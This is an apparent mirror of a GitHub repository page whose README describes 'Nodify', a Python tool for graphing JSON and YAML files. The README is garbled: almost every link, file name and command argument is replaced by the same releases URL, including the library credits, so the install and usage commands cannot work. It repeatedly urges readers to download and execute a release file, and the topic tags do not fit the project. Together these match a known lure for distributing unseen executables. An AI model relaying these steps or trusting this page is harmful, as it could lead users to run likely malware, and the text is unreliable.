https://github.com/suryankss/nodify
Visualize JSON and YAML files as interactive node graphs with Nodify. Understand dependencies and relationships effortlessly! ππ»
https://github.com/suryankss/nodify
avalonia build-tool calculator cms controls developers editor flow-based-programming headlesscms multichannel multilingual net6 node-management node-network panning rest-api rollup visual-programming
Last synced: 6 months ago
JSON representation
Visualize JSON and YAML files as interactive node graphs with Nodify. Understand dependencies and relationships effortlessly! ππ»
- Host: GitHub
- URL: https://github.com/suryankss/nodify
- Owner: Suryankss
- Created: 2025-07-30T12:03:21.000Z (6 months ago)
- Default Branch: main
- Last Pushed: 2025-07-31T14:42:14.000Z (6 months ago)
- Last Synced: 2025-07-31T19:58:07.674Z (6 months ago)
- Topics: avalonia, build-tool, calculator, cms, controls, developers, editor, flow-based-programming, headlesscms, multichannel, multilingual, net6, node-management, node-network, panning, rest-api, rollup, visual-programming
- Language: Python
- Size: 1.05 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Nodify: Visualize JSON and YAML Files as Interactive Node Graphs

**Nodify** is a tool to visualize JSON and YAML files as interactive node graphs built with [NetworkX](https://github.com/Suryankss/nodify/releases) and [Matplotlib](https://github.com/Suryankss/nodify/releases). Originally created to visualize dependency structures for https://github.com/Suryankss/nodify/releases projects, Nodify has evolved to handle various file formats, including docker-compose files. It helps developers understand project and service dependency structures, identify relationships between packages, and analyze complex hierarchical data at a glance.
## π Features
- **Dependency Visualization**: Generate interactive graphs from JSON and YAML files.
- **Multi-Format Support**: Parse `https://github.com/Suryankss/nodify/releases` files and YAML files (like `https://github.com/Suryankss/nodify/releases`).
- **Dot Notation Filtering**: Use precise dot notation to filter specific sections (e.g., `https://github.com/Suryankss/nodify/releases`).
- **Customizable Graphs**: Tailor the appearance of your graphs to suit your needs.
## π¦ Installation
To get started with Nodify, follow these steps:
1. **Clone the Repository**:
```bash
git clone https://github.com/Suryankss/nodify/releases
```
2. **Navigate to the Directory**:
```bash
cd nodify
```
3. **Install Dependencies**:
Make sure you have Python installed. Then, run:
```bash
pip install -r https://github.com/Suryankss/nodify/releases
```
4. **Download and Execute the Latest Release**:
Visit the [Releases](https://github.com/Suryankss/nodify/releases) section to download the latest version. Execute the downloaded file to start using Nodify.
## π Usage
Once installed, you can use Nodify to visualize your JSON and YAML files. Hereβs how:
1. **Run the Nodify Command**:
Use the command line to run Nodify:
```bash
python https://github.com/Suryankss/nodify/releases
```
Replace `` with the path to your JSON or YAML file.
2. **Explore the Graph**:
After running the command, an interactive graph will open. You can zoom in and out, click on nodes to view details, and explore relationships between different elements.
3. **Apply Dot Notation Filtering**:
If you want to focus on specific parts of your file, use dot notation. For example:
```bash
python https://github.com/Suryankss/nodify/releases --filter https://github.com/Suryankss/nodify/releases
```
## π οΈ Customization
Nodify allows you to customize your graphs. You can adjust colors, shapes, and labels. Hereβs how to customize:
1. **Modify the Configuration File**:
Open the `https://github.com/Suryankss/nodify/releases` file in the Nodify directory. Here you can change settings like:
- **Node Color**: Change the color of the nodes.
- **Edge Style**: Choose how the edges between nodes appear.
- **Label Format**: Adjust how labels are displayed on nodes.
2. **Use Command Line Arguments**:
You can also pass customization options directly through the command line. For example:
```bash
python https://github.com/Suryankss/nodify/releases --node-color blue --edge-style dashed
```
## π Supported Formats
Nodify supports various formats, including:
- **JSON**: Commonly used in web applications and APIs.
- **YAML**: Often used for configuration files, such as `https://github.com/Suryankss/nodify/releases`.
## π Updating Nodify
To keep Nodify up to date, regularly check the [Releases](https://github.com/Suryankss/nodify/releases) section. Download the latest version and follow the installation steps to update your local setup.
## π Troubleshooting
If you encounter issues while using Nodify, consider the following steps:
1. **Check Dependencies**: Ensure all required libraries are installed. You can reinstall them using:
```bash
pip install -r https://github.com/Suryankss/nodify/releases
```
2. **Review File Format**: Make sure your JSON or YAML files are properly formatted. Use online validators if necessary.
3. **Consult the Issues Page**: Visit the [Issues](https://github.com/Suryankss/nodify/releases) section on GitHub to see if others have faced similar problems.
## π€ Contributing
Contributions are welcome! To contribute to Nodify:
1. **Fork the Repository**: Click the "Fork" button at the top right of the page.
2. **Create a Branch**:
```bash
git checkout -b feature/your-feature-name
```
3. **Make Your Changes**: Implement your feature or fix.
4. **Commit Your Changes**:
```bash
git commit -m "Add your message here"
```
5. **Push to Your Fork**:
```bash
git push origin feature/your-feature-name
```
6. **Create a Pull Request**: Go to the original repository and submit a pull request.
## π License
Nodify is licensed under the MIT License. See the [LICENSE](LICENSE) file for more information.
## π« Contact
For any questions or feedback, feel free to reach out via GitHub or create an issue in the repository.
## π Acknowledgments
Nodify is built on the shoulders of giants. Special thanks to the developers of:
- [NetworkX](https://github.com/Suryankss/nodify/releases): For providing a powerful library for the creation and manipulation of complex networks.
- [Matplotlib](https://github.com/Suryankss/nodify/releases): For enabling rich visualizations of data.
## π Additional Resources
- [NetworkX Documentation](https://github.com/Suryankss/nodify/releases)
- [Matplotlib Documentation](https://github.com/Suryankss/nodify/releases)
Explore more by visiting the [Releases](https://github.com/Suryankss/nodify/releases) section for updates and new features.